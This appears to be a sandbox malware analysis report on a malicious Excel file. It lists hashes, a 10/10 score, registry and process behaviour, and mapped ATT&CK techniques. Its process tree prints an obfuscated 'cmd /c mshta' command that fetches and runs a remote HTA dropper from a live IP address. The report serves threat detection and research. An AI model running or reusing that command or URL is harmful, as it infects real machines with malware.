3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 22:18

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General

Target

3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls
Size

142KB
MD5

d889b0d126a586065548721f01fc92a7
SHA1

d4aa924bd0390658d4bf3bf7085406235e5df1e6
SHA256

3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47
SHA512

16e047fdc39057a5b8d889817c3d1cb1fbd2917c4b59877fd1ef6a9f323f68e8dbcf25255e38dfcd8b239a7abbd9c61900b11399d082b455a5ef5049ea878f1d
SSDEEP

3072:+5+nBqm9k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIMEvN8B/W6X1yxYovrepMUdQm:i+nBqm9k3hbdlylKsgqopeJBWhZFVE+g

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/ve/ve.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2348	1820	cmd.exe	29

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
4	2340	mshta.exe
7	2340	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exemshta.exeEXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
1820	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid	Process
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	Process	procid_target
PID 1820 wrote to memory of 2348	1820	EXCEL.EXE	30
PID 1820 wrote to memory of 2348	1820	EXCEL.EXE	30
PID 1820 wrote to memory of 2348	1820	EXCEL.EXE	30
PID 1820 wrote to memory of 2348	1820	EXCEL.EXE	30
PID 2348 wrote to memory of 2340	2348	cmd.exe	32
PID 2348 wrote to memory of 2340	2348	cmd.exe	32
PID 2348 wrote to memory of 2340	2348	cmd.exe	32
PID 2348 wrote to memory of 2340	2348	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3df88fd8cc94b643c0abce07b76576a2e4ac0304d9a1a6d4bbaa6bf60f6d7d47.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://185.7.214.7/ve/ve.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1820-1-0x000000007213D000-0x0000000072148000-memory.dmp

Filesize
44KB

Download
memory/1820-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1820-2-0x000000007213D000-0x0000000072148000-memory.dmp

Filesize
44KB

Download